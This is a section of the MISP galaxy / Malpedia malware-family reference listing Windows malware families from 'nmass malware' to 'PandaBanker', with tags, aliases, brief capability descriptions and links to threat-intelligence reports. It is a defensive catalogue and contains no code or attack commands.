https://blog.morphisec.com/syk-crypter-discord
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://attack.mitre.org/groups/G0096
https://securelist.com/apt-trends-report-q2-2019/91897/
https://www.trendmicro.com/en_us/research/20/i/wind-up-windscribe-vpn-bundled-with-backdoor.html
https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/
http://blogs.360.cn/post/analysis-of-apt-c-37.html
https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html
https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf

nmass malware

It’s .NET Rat with harcoded key

The tag is: *misp-galaxy:malpedia="nmass malware"*

nmass malware is also known as:

Table 2726. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nmass
https://sebdraven.medium.com/a-net-rat-target-mongolia-9c1439c39bc2

Nocturnal Stealer

The tag is: *misp-galaxy:malpedia="Nocturnal Stealer"*

Nocturnal Stealer is also known as:

Table 2727. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer

https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap

Nokki

Nokki is a RAT type malware which is believe to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.

The tag is: *misp-galaxy:malpedia="Nokki"*

Nokki is also known as:

Table 2728. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

Nokoyawa Ransomware

The tag is: *misp-galaxy:malpedia="Nokoyawa Ransomware"*

Nokoyawa Ransomware is also known as:

Table 2729. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa
https://www.trendmicro.com/en_us/research/22/c/nokoyawa-ransomware-possibly-related-to-hive-.html
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/

NorthStar

An open source C2 framework intended for pentest and red teaming activities.

The tag is: *misp-galaxy:malpedia="NorthStar"*

NorthStar is also known as:

Table 2730. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.northstar
https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping

NoxPlayer

The tag is: *misp-galaxy:malpedia="NoxPlayer"*

NoxPlayer is also known as:

Table 2731. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer
https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf

Nozelesn (Decryptor)

The tag is: *misp-galaxy:malpedia="Nozelesn (Decryptor)"*

Nozelesn (Decryptor) is also known as:

Table 2732. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor

nRansom

The tag is: *misp-galaxy:malpedia="nRansom"*

nRansom is also known as:

Table 2733. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom
https://twitter.com/malwrhunterteam/status/910952333084971008

https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/
https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin

NuggetPhantom

NSFOCUS describes PhantomNugget as a modularized malware toolkit, that was spread using EternalBlue. Payloads included a RAT and a XMRig miner.

The tag is: *misp-galaxy:malpedia="NuggetPhantom"*

NuggetPhantom is also known as:

Table 2734. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nugget_phantom
https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/
https://staging.nsfocusglobal.com/wp-content/uploads/2018/10/NuggetPhantom-Analysis-Report-V4.1.pdf

Numando

The tag is: *misp-galaxy:malpedia="Numando"*

Numando is also known as:

Table 2735. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.numando
https://www.welivesecurity.com/2020/10/01/latam-financial-cybercrime-competitors-crime-sharing-ttps/
https://www.welivesecurity.com/2021/09/17/numando-latam-banking-trojan/

NVISOSPIT

The tag is: *misp-galaxy:malpedia="NVISOSPIT"*

NVISOSPIT is also known as:

Table 2736. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit
http://www.isg.rhul.ac.uk/dl/weekendconference2014/slides/Erik_VanBuggenhout.pdf

https://twitter.com/Bank_Security/status/1134850646413385728
https://twitter.com/r3c0nst/status/1135606944427905025

N-W0rm

The tag is: *misp-galaxy:malpedia="N-W0rm"*

N-W0rm is also known as:

- NWorm
- nw0rm

Table 2737. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nworm
https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/
https://bazaar.abuse.ch/browse/tag/N-W0rm/
https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/

Nymaim

The tag is: *misp-galaxy:malpedia="Nymaim"*

Nymaim is also known as:

- nymain

Table 2738. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim
https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf
https://www.cert.pl/en/news/single/nymaim-revisited/
https://www.justice.gov/opa/pr/goznym-cyber-criminal-network-operating-out-europe-targeting-american-entities-dismantled
https://www.shadowserver.org/news/goznym-indictments-action-following-on-from-successful-avalanche-operations/
https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://bitbucket.org/daniel_plohmann/idapatchwork

https://www.proofpoint.com/us/threat-insight/post/nymaim-config-decoded
https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-aers-the-evolution-of-the-nymaim-criminal-enterprise.pdf
https://www.proofpoint.com/us/what-old-new-again-nymaim-moves-past-its-ransomware-roots-0
https://www.lawfareblog.com/what-point-these-nation-state-indictments
https://securityintelligence.com/posts/goznym-closure-comes-in-the-shape-of-a-europol-and-doj-arrest-operation/
https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/

Nymaim2

The tag is: *misp-galaxy:malpedia="Nymaim2"*

Nymaim2 is also known as:

Table 2739. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/

Oblique RAT

The tag is: *misp-galaxy:malpedia="Oblique RAT"*

Oblique RAT is also known as:

Table 2740. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oblique_rat
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf
https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html

https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://securelist.com/transparent-tribe-part-2/98233/
https://www.secrss.com/articles/24995
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf
https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html
https://blog.talosintelligence.com/2020/02/obliquerat-hits-victims-via-maldocs.html
https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/

Obscene

The tag is: *misp-galaxy:malpedia="Obscene"*

Obscene is also known as:

Table 2741. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene
https://sysopfb.github.io/malware/2020/02/28/Golang-Wrapper-on-an-old-malware.html
https://habr.com/ru/post/27053/

Oceansalt

The tag is: *misp-galaxy:malpedia="Oceansalt"*

Oceansalt is also known as:

Table 2742. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

Octopus (Windows)

The tag is: *misp-galaxy:malpedia="Octopus (Windows)"*

Octopus (Windows) is also known as:

Table 2743. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.octopus
https://mp.weixin.qq.com/s/v1gi0bW79Ta644Dqer4qkw
https://securelist.com/octopus-infested-seas-of-central-asia/88200/
https://isc.sans.edu/diary/26918

OddJob

The tag is: *misp-galaxy:malpedia="OddJob"*

OddJob is also known as:

Table 2744. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob

Oderoor

Spam bot that was active around 2007 and after, one of the first malware families to use a domain generation algorithm.

The tag is: *misp-galaxy:malpedia="Oderoor"*

Oderoor is also known as:

- Bobax
- Kraken

Table 2745. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oderoor
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://web.archive.org/web/20160324035554/https://www.johannesbader.ch/2015/12/krakens-two-domain-generation-algorithms//

Odinaff

The tag is: *misp-galaxy:malpedia="Odinaff"*

Odinaff is also known as:

Table 2746. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

Okrum

a new, previously unknown backdoor that we named Okrum. The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors.

The tag is: *misp-galaxy:malpedia="Okrum"*

Okrum is also known as:

Table 2747. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.okrum
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/
https://www.intezer.com/blog/research/the-evolution-of-apt15s-codebase-2020/
https://securelist.com/apt-trends-report-q3-2020/99204/

OLDBAIT

According to FireEye, OLDBAIT is a credential stealer that has been observed to be used by APT28. It targets Internet Explorer, Mozilla Firefox, Eudora, The Bat! (an email client by a Moldovan company), and Becky! (an email client made by a Japanese company). It can use both HTTP or SMTP to exfiltrate data. In some places it is mistakenly named "Sasfis", which however seems to be a completely different and unrelated malware family.

The tag is: *misp-galaxy:malpedia="OLDBAIT"*

OLDBAIT is also known as:

- Sasfis

Table 2748. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait
https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf

https://www.secjuice.com/fancy-bear-review/
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf

Olympic Destroyer

Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event.

The tag is: *misp-galaxy:malpedia="Olympic Destroyer"*

Olympic Destroyer is also known as:

- SOURGRAPE

Table 2749. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer
https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/
https://www.lastline.com/labsblog/attribution-from-russia-with-code/
https://www.youtube.com/watch?v=wCv9SiSA7Sw
https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.endgame.com/blog/technical-blog/stopping-olympic-destroyer-new-process-injection-insights
https://attack.mitre.org/groups/G0034
http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html
https://www.lastline.com/labsblog/olympic-destroyer-south-korea/
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://www.youtube.com/watch?v=a4BZ3SZN-CI
https://securelist.com/the-devils-in-the-rich-header/84348/
https://securelist.com/olympic-destroyer-is-still-alive/86169/
https://www.wired.com/story/untold-story-2018-olympics-destroyer-cyberattack/
https://www.wired.com/story/us-indicts-sandworm-hackers-russia-cyberwar-unit/
http://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.youtube.com/watch?v=rjA0Vf75cYk
https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/

https://www.mbsd.jp/blog/20180215.html
https://securelist.com/apt-trends-report-q2-2019/91897/
https://www.youtube.com/watch?v=1jgdMY12mI8
https://www.virusbulletin.com/virusbulletin/2018/10/vb2018-paper-who-wasnt-responsible-olympic-destroyer/

ONHAT

The tag is: *misp-galaxy:malpedia="ONHAT"*

ONHAT is also known as:

Table 2750. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators
https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview

Oni

Ransomware.

The tag is: *misp-galaxy:malpedia="Oni"*

Oni is also known as:

Table 2751. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oni
https://www.bleepingcomputer.com/news/security/oni-ransomware-used-in-month-long-attacks-against-japanese-companies/

OnionDuke

OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites.

The tag is: *misp-galaxy:malpedia="OnionDuke"*

OnionDuke is also known as:

Table 2752. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/
https://www.secureworks.com/research/threat-profiles/iron-hemlock
http://contagiodump.blogspot.com/2014/11/onionduke-samples.html
https://blog.f-secure.com/podcast-dukes-apt29/
https://www.f-secure.com/weblog/archives/00002764.html

OnlinerSpambot

A spambot that has been observed being used for spreading Ursnif, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada.

The tag is: *misp-galaxy:malpedia="OnlinerSpambot"*

OnlinerSpambot is also known as:

- Onliner
- SBot

Table 2753. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner
https://www.blueliv.com/blog/research/analysis-spam-distribution-botnet-onliner-spambot/
https://benkowlab.blogspot.com/2017/08/from-onliner-spambot-to-millions-of.html
https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html

OopsIE

The tag is: *misp-galaxy:malpedia="OopsIE"*

OopsIE is also known as:

Table 2754. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr

Opachki

The tag is: *misp-galaxy:malpedia="Opachki"*

Opachki is also known as:

Table 2755. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki
http://contagiodump.blogspot.com/2009/11/win32opachkia-trojan-that-removes-zeus.html
https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519
http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html
https://forum.malekal.com/viewtopic.php?t=21806

OpenSUpdater

The tag is: *misp-galaxy:malpedia="OpenSUpdater"*

OpenSUpdater is also known as:

Table 2756. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opensupdater
https://blog.google/threat-analysis-group/financially-motivated-actor-breaks-certificate-parsing-avoid-detection/

OpGhoul

This entry serves as a placeholder of malware observed during Operation Ghoul. The samples will likely be assigned to their respective families. Some families involved and identified were Alina POS (Katrina variant) and TreasureHunter POS.

The tag is: *misp-galaxy:malpedia="OpGhoul"*

OpGhoul is also known as:

Table 2757. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.opghoul
https://securelist.com/blog/research/75718/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/

OpBlockBuster

The tag is: *misp-galaxy:malpedia="OpBlockBuster"*

OpBlockBuster is also known as:

Table 2758. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster
http://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/

ORANGEADE

FireEye details ORANGEADE as a dropper for the CREAMSICLE malware.

The tag is: *misp-galaxy:malpedia="ORANGEADE"*

ORANGEADE is also known as:

Table 2759. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

OrcaRAT

OrcaRAT is a Backdoor that targets the Windows platform. It has been reported that a variant of this malware has been used in a targeted attack. It contacts a remote server, sending system information. Moreover, it receives control commands to execute shell commands, and download/upload a file, among other actions.

The tag is: *misp-galaxy:malpedia="OrcaRAT"*

OrcaRAT is also known as:

Table 2760. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat
http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html

https://www.secureworks.com/research/threat-profiles/bronze-fleetwood

Orchard

A malware generating DGA domains seeded by the Bitcoin Genesis Block.

The tag is: *misp-galaxy:malpedia="Orchard"*

Orchard is also known as:

Table 2761. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orchard
https://blog.netlab.360.com/orchard-dga/
https://bin.re/blog/a-dga-seeded-by-the-bitcoin-genesis-block/
https://blog.netlab.360.com/a-new-botnet-orchard-generates-dga-domains-with-bitcoin-transaction-information/

Orcus RAT

Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.

The tag is: *misp-galaxy:malpedia="Orcus RAT"*

Orcus RAT is also known as:

- Schnorchel

Table 2762. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/

https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html
https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/
https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html
https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors
https://assets.virustotal.com/reports/2021trends.pdf
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/

Ordinypt

This malware claims to be a ransomware, but it's actually a wiper. After execution, this malware terminates a number of processes such as database processes, likely to allow access to any files that these programs may have held open. Ordinypt will avoid wiping certain files and folders in order to prevent the infected machine from becoming unusable. Affected files are overwritten with null character and receive a random 5 character file extension. Finally, shadow copies are removed and Windows startup repair is disabled to complicate recovery of data from the affected system. The desktop background is changed and a ransom note is dropped for the victim. A C2 check-in occurs to keep track of the file extension used on that specific machine, as well as which BitCoin address was randomly provided for payment to the victim (drawn from a long list stored in the ransomware configuration).

The tag is: *misp-galaxy:malpedia="Ordinypt"*

Ordinypt is also known as:

- GermanWiper
- HSDFSDCrypt

Table 2763. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt
https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/
https://www.gdata.de/blog/2017/11/30151-ordinypt
https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat

OriginLogger

The tag is: *misp-galaxy:malpedia="OriginLogger"*

OriginLogger is also known as:

Table 2764. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.originlogger
https://unit42.paloaltonetworks.com/originlogger/

Oski Stealer

Oski is a stealer written in C++ that appeared around November 2019 and is being sold for between 70$ to 100$ on Russian-speaking forums. It collects different types of data (cryptocurrency wallets, saved passwords, files matching an attacker-defined pattern etc) and it exfiltrates it in a zip file uploaded to the attacker's panel.

The tag is: *misp-galaxy:malpedia="Oski Stealer"*

Oski Stealer is also known as:

Table 2765. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oski
https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/
https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer
https://3xp0rt.com/posts/mars-stealer
https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601
https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become
https://cyberint.com/blog/research/mars-stealer/
https://twitter.com/albertzsigovits/status/1160874557454131200
https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view
https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/

Osno

The tag is: *misp-galaxy:malpedia="Osno"*

Osno is also known as:

- Babax

Table 2766. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.osno
https://www.gdatasoftware.com/blog/2020/11/36459-babax-stealer-rebrands-to-osno-installs-rootkit
https://labs.k7computing.com/?p=21562

Ousaban

The tag is: *misp-galaxy:malpedia="Ousaban"*

Ousaban is also known as:

Table 2767. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ousaban
https://www.netskope.com/blog/ousaban-latam-banking-malware-abusing-cloud-services
https://www.welivesecurity.com/2021/05/05/ousaban-private-photo-collection-hidden-cabinet/
https://www.atomicmatryoshka.com/post/ousaban-msi-installer-analysis

OutCrypt

Ransomware.

The tag is: *misp-galaxy:malpedia="OutCrypt"*

OutCrypt is also known as:

Table 2768. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.outcrypt
https://id-ransomware.blogspot.com/2020/07/outcrypt-ransomware.html

Outlook Backdoor

The tag is: *misp-galaxy:malpedia="Outlook Backdoor"*

Outlook Backdoor is also known as:

- FACADE

Table 2769. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf
https://twitter.com/VK_Intel/status/1085820673811992576

OutSteel

The tag is: *misp-galaxy:malpedia="OutSteel"*

OutSteel is also known as:

Table 2770. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.outsteel
https://www.telsy.com/download/6372/?uid=d3eb8e1489

Overlay RAT

The tag is: *misp-galaxy:malpedia="Overlay RAT"*

Overlay RAT is also known as:

Table 2771. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat
https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking
https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/

OvidiyStealer

The tag is: *misp-galaxy:malpedia="OvidiyStealer"*

OvidiyStealer is also known as:

Table 2772. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ovidiystealer
https://www.proofpoint.com/us/threat-insight/post/meet-ovidiy-stealer-bringing-credential-theft-masses

owaauth

The tag is: *misp-galaxy:malpedia="owaauth"*

owaauth is also known as:

- luckyowa

Table 2773. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth
https://www.secureworks.com/research/threat-profiles/bronze-union
https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/

Owlproxy

The tag is: *misp-galaxy:malpedia="Owlproxy"*

Owlproxy is also known as:

Table 2774. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy
https://medium.com/cycraft/taiwan-government-targeted-by-multiple-cyberattacks-in-april-2020-3b20cea1dc20
https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf
https://securelist.com/the-sessionmanager-iis-backdoor/106868/
https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/

Owowa

Kaspersky describes this as a OWA add-on that has credential stealing capabilities.

The tag is: *misp-galaxy:malpedia="Owowa"*

Owowa is also known as:

Table 2775. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.owowa
https://securelist.com/owowa-credential-stealer-and-remote-access/105219/

OZH RAT

The tag is: *misp-galaxy:malpedia="OZH RAT"*

OZH RAT is also known as:

Table 2776. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ozh_rat
https://twitter.com/BushidoToken/status/1266075992679948289

Ozone RAT

The tag is: *misp-galaxy:malpedia="Ozone RAT"*

Ozone RAT is also known as:

Table 2777. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ozone
https://www.fortinet.com/blog/threat-research/german-speakers-targeted-by-spam-leading-to-ozone-rat.html
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel

PadCrypt

The tag is: *misp-galaxy:malpedia="PadCrypt"*

PadCrypt is also known as:

Table 2778. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt
https://johannesbader.ch/2016/03/the-dga-of-padcrypt/
https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/

paladin

Paladin RAT is a variant of Gh0st RAT used by PittyPanda active since at least 2011.

The tag is: *misp-galaxy:malpedia="paladin"*

paladin is also known as:

Table 2779. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf

PandaBanker

According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.

This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.

The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.

Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.

The tag is: *misp-galaxy:malpedia="PandaBanker"*

PandaBanker is also known as:

- ZeusPanda

Table 2780. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker
https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847
https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers
https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/
http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html

https://www.spamhaus.org/news/article/771/
https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/
